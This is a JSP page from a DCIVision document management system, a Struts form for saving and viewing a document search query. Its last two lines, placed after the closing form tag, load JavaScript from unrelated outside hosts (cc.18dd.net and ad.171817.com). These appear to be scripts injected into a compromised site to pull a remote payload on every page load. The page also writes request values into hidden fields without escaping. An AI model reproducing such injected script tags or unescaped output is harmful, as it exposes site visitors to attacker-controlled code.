<%
/*
 * @(#)EditDmsSaveQuery.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsSaveQuery.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    30/08/2004
    @version          $Revision: 1.21.2.15 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.workflow.bean.* "%>
<%@ page import="com.dcivision.workflow.core.* "%>
<%@ page import="com.dcivision.workflow.dao.* "%>
<%@ page import="com.dcivision.workflow.web.* "%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsQueryRecordForm" scope="request" class="com.dcivision.dms.web.MaintDmsQueryRecordForm"/>

<script language="javascript">
<!--
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
-->
</script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<html:form type="maintDmsQueryRecordForm" action="dms/MaintDmsQueryRecord" onsubmit="return(false);" styleClass="form-style-2">
<html:javascript formName="maintDmsQueryRecordForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrivalManager=new DocumentRetrievalManager(sessionContainer,conn);
  String[] udfDetail_fieldType=(String[])request.getAttribute("udfDetail_fieldType");
  if(Utility.isEmpty(udfDetail_fieldType)){
    udfDetail_fieldType=maintDmsQueryRecordForm.getUdfDetail_fieldType();
  }
  request.setAttribute("udfDetail_fieldType",udfDetail_fieldType);
  String[] udfDetail_fieldOption=(String[])request.getAttribute("udfDetail_fieldOption");
  if(Utility.isEmpty(udfDetail_fieldOption)){
    udfDetail_fieldOption=maintDmsQueryRecordForm.getUdfDetail_fieldOption();
  }
  request.setAttribute("udfDetail_fieldOption",udfDetail_fieldOption);
  String[] udfDetail_value=(String[])request.getAttribute("udfDetail_value");
  if(Utility.isEmpty(udfDetail_value)){
    udfDetail_value=maintDmsQueryRecordForm.getUdfDetail_value();
  }
  request.setAttribute("udfDetail_value",udfDetail_value);
  String[] udfDetail_value_to=(String[])request.getAttribute("udfDetail_value_to");
  if(Utility.isEmpty(udfDetail_value_to)){
    udfDetail_value_to=maintDmsQueryRecordForm.getUdfDetail_value_to();
  }
  request.setAttribute("udfDetail_value_to",udfDetail_value_to);
  String[] udfDetail_exactMatch=(String[])request.getAttribute("udfDetail_exactMatch");
  if(Utility.isEmpty(udfDetail_exactMatch)){
    udfDetail_exactMatch=maintDmsQueryRecordForm.getUdfDetail_exactMatch();
  }
  request.setAttribute("udfDetail_exactMatch",udfDetail_exactMatch);
  String[] searchFolder=(String[])request.getAttribute("searchFolder");
  if(Utility.isEmpty(searchFolder)){
    searchFolder=maintDmsQueryRecordForm.getSearchFolder();
  }
  request.setAttribute("searchFolder",searchFolder);
  
  Integer personalRootID = docRetrivalManager.getRootID();

%>
<script language="javascript">
<!--
function CustOpSave() {
  if(document.maintDmsQueryRecordForm.queryName.value==''){
    alert("<bean:message key='dms.label.query_name'/> is required!");
    return true;
  }
  if(document.maintDmsQueryRecordForm.ID.value==null || document.maintDmsQueryRecordForm.ID.value==""){
    document.maintDmsQueryRecordForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  }else{
    document.maintDmsQueryRecordForm.opMode.value="<%=GlobalConstant.OP_MODE_UPDATE%>";
  }
  var selIDS = document.getElementsByName("searchFolder");
  for(var i=0; i<selIDS.length; i++ ){
    if(selIDS[i].value=='<%=personalRootID.intValue()%>' &&  document.maintDmsQueryRecordForm.isPublic[0].checked==true){
      alert("Can not save personal folder as public query.");
      return true;
    }
  }
  document.maintDmsQueryRecordForm.submit();
  return(false);
}

function CustOpEdit(){
  document.maintDmsQueryRecordForm.opMode.value="";
  document.maintDmsQueryRecordForm.navMode.value="<%=GlobalConstant.NAV_MODE_EDIT%>";
  document.maintDmsQueryRecordForm.submit();
  return(false);
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<%if(!Utility.isEmpty(searchFolder)){
  for(int i=0;i<searchFolder.length;i++){
%>
<html:hidden property="searchFolder" value="<%=searchFolder[i]%>"/>
<%}}%>
<html:hidden property="curFunctionCode"/>
<html:hidden property='ID'/>
<html:hidden property='documentNameOption'/>
<html:hidden property='documentName'/>
<html:hidden property='documentNameExactMatch'/>
<html:hidden property='documentTypeOption'/>
<html:hidden property='documentType'/>
<html:hidden property='effectiveDateOption'/>
<html:hidden property='effectiveStartDate'/>
<html:hidden property='effectiveEndDate'/>
<html:hidden property='createDateOption'/>
<html:hidden property='createDate'/>
<html:hidden property="createToDate"/>
<html:hidden property='updateDateOption'/>
<html:hidden property='updateDate'/>
<html:hidden property='updateToDate'/>
<html:hidden property='queryPriority'/>
<html:hidden property='priorityOption'/>
<html:hidden property='referenceNoOption'/>
<html:hidden property="referenceNo"/>
<html:hidden property='referenceNoExactMatch'/>
<html:hidden property='descriptionOption'/>
<html:hidden property="description"/>
<html:hidden property='descriptionExactMatch'/>
<html:hidden property='creatorID'/>
<html:hidden property='creatorOption'/>
<html:hidden property="userDef1"/>
<html:hidden property="userDef2"/>
<html:hidden property="userDef3"/>
<html:hidden property="userDef4"/>
<html:hidden property="userDef5"/>
<html:hidden property="userDef6"/>
<html:hidden property="userDef7"/>
<html:hidden property="userDef8"/>
<html:hidden property="userDef9"/>
<html:hidden property="userDef10"/>
<html:hidden property="userDef2To"/>
<html:hidden property="userDef3To"/>
<html:hidden property="userDef4To"/>
<html:hidden property="userDef5To"/>
<html:hidden property="userDef6To"/>
<html:hidden property="userDef7To"/>
<html:hidden property="userDef8To"/>
<html:hidden property="userDef9To"/>
<html:hidden property="userDef10To"/>
<html:hidden property="userDef1DataType"/>
<html:hidden property="userDef2DataType"/>
<html:hidden property="userDef3DataType"/>
<html:hidden property="userDef4DataType"/>
<html:hidden property="userDef5DataType"/>
<html:hidden property="userDef6DataType"/>
<html:hidden property="userDef7DataType"/>
<html:hidden property="userDef8DataType"/>
<html:hidden property="userDef9DataType"/>
<html:hidden property="userDef10DataType"/>
<html:hidden property="userDef1Option"/>
<html:hidden property="userDef2Option"/>
<html:hidden property="userDef3Option"/>
<html:hidden property="userDef4Option"/>
<html:hidden property="userDef5Option"/>
<html:hidden property="userDef6Option"/>
<html:hidden property="userDef7Option"/>
<html:hidden property="userDef8Option"/>
<html:hidden property="userDef9Option"/>
<html:hidden property="userDef10Option"/>
<html:hidden property="userDef1ExactMatch"/>
<html:hidden property="userDef2ExactMatch"/>
<html:hidden property="userDef3ExactMatch"/>
<html:hidden property="userDef4ExactMatch"/>
<html:hidden property="userDef5ExactMatch"/>
<html:hidden property="userDef6ExactMatch"/>
<html:hidden property="userDef7ExactMatch"/>
<html:hidden property="userDef8ExactMatch"/>
<html:hidden property="userDef9ExactMatch"/>
<html:hidden property="userDef10ExactMatch"/>
<html:hidden property="userDefinedFieldID"/>
<html:hidden property="userDefinedFieldOption"/>

<%if(!Utility.isEmpty(udfDetail_fieldType)){
  for(int i=0;i<udfDetail_fieldType.length;i++){
%>
<input type="hidden" name="udfDetail_fieldType" value="<%=udfDetail_fieldType[i]%>">
<%}}%>
<%if(!Utility.isEmpty(udfDetail_fieldOption)){
  for(int i=0;i<udfDetail_fieldOption.length;i++){
%>
<input type="hidden" name="udfDetail_fieldOption" value="<%=udfDetail_fieldOption[i]%>">
<%}}%>
<%if(!Utility.isEmpty(udfDetail_value)){
  for(int i=0;i<udfDetail_value.length;i++){
%>
<input type="hidden" name="udfDetail_value" value="<%=udfDetail_value[i]%>">
<%}}%>
<%if(!Utility.isEmpty(udfDetail_value_to)){
  for(int i=0;i<udfDetail_value_to.length;i++){
%>
<input type="hidden" name="udfDetail_value_to" value="<%=udfDetail_value_to[i]%>">
<%}}%>
<%if(!Utility.isEmpty(udfDetail_exactMatch)){
  for(int i=0;i<udfDetail_exactMatch.length;i++){
%>
<input type="hidden" name="udfDetail_exactMatch" value="<%=udfDetail_exactMatch[i]%>">
<%}}%>

<div class="popupPanelTitle">
  <table>
    <!-- Section Header -->
    <layout:sectionHeader name='dms.label.query_save' blackLine='false' mandatory='false' />
  </table>
</div>


<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <table width="100%" cellpadding="0" cellspacing="0" border="0">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsQueryRecordForm.getNavMode())){%>
        <layout:sectionHeader mandatory='true' blackLine='false'/>
      <%}else{%>
        <layout:sectionHeader name='dms.label.saved_query' mandatory='true' blackLine='true' />
      <%}%>
      <!-- User Defined Field Selection -->
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsQueryRecordForm.getNavMode())){%>
      <tr>
        <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key='dms.label.query_name'/>:&nbsp;</td>
        <td class="formFieldSmall" width='75%'><html:text property="queryName" size="50" maxlength="100"/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall" width="25%" height="20" valign="top"><bean:message key='dms.label.query_desc'/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%"><html:textarea property="queryDescription" cols="40" rows="3"/></td>
      </tr>
      <tr>
        <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.query_type"/>:&nbsp;</td>
        <td class="formFieldSmall" width='75%'>
             <html:radio property="isPublic" onclick="return true" value="Y"/><bean:message key="dms.label.query_public"/>&nbsp;
             <html:radio property="isPublic" onclick="return true" value="N"/><bean:message key="dms.label.query_private"/>
         </td>
      </tr>
      <%}else{%>
      <tr>
        <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.query_name'/>:&nbsp;</td>
        <td class="formFieldSmall" width='75%'><bean:write name="maintDmsQueryRecordForm" property="queryName"/>
        </td>
      </tr>
      <tr>
        <td class="formLabelSmall" width="25%" height="20" valign="top"><bean:message key='dms.label.query_desc'/>:&nbsp;</td>
        <td class="formFieldSmall" width="75%"><bean:write name="maintDmsQueryRecordForm" property="queryDescription"/></td>
      </tr>
      <tr>
        <td class="formLabelSmall" width='25%' valign='top'><bean:message key="dms.label.query_type"/>:&nbsp;</td>
        <td class="formFieldSmall" width='75%'>
             <%if("Y".equals(maintDmsQueryRecordForm.getIsPublic())){%>
               <bean:message key="dms.label.query_public"/>
             <%}else if("N".equals(maintDmsQueryRecordForm.getIsPublic())){%>
               <bean:message key="dms.label.query_private"/>
             <%}%>
         </td>
      </tr>
      <%}%>
    </table>
  </div>
</div>

<div id="bottomButtonArea">
    <div id="buttonSection">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsQueryRecordForm.getNavMode())){%>
       <html:standardButton label="common.label.confirm" onClick="javascript:CustOpSave();"/>
      <%}else if(!GlobalConstant.OP_MODE_UPDATE.equals(maintDmsQueryRecordForm.getOpMode())){%>
       <html:standardButton label="common.label.edit" onClick="javascript:CustOpEdit();"/>
      <%}%>
       <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </div>
</div>

</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>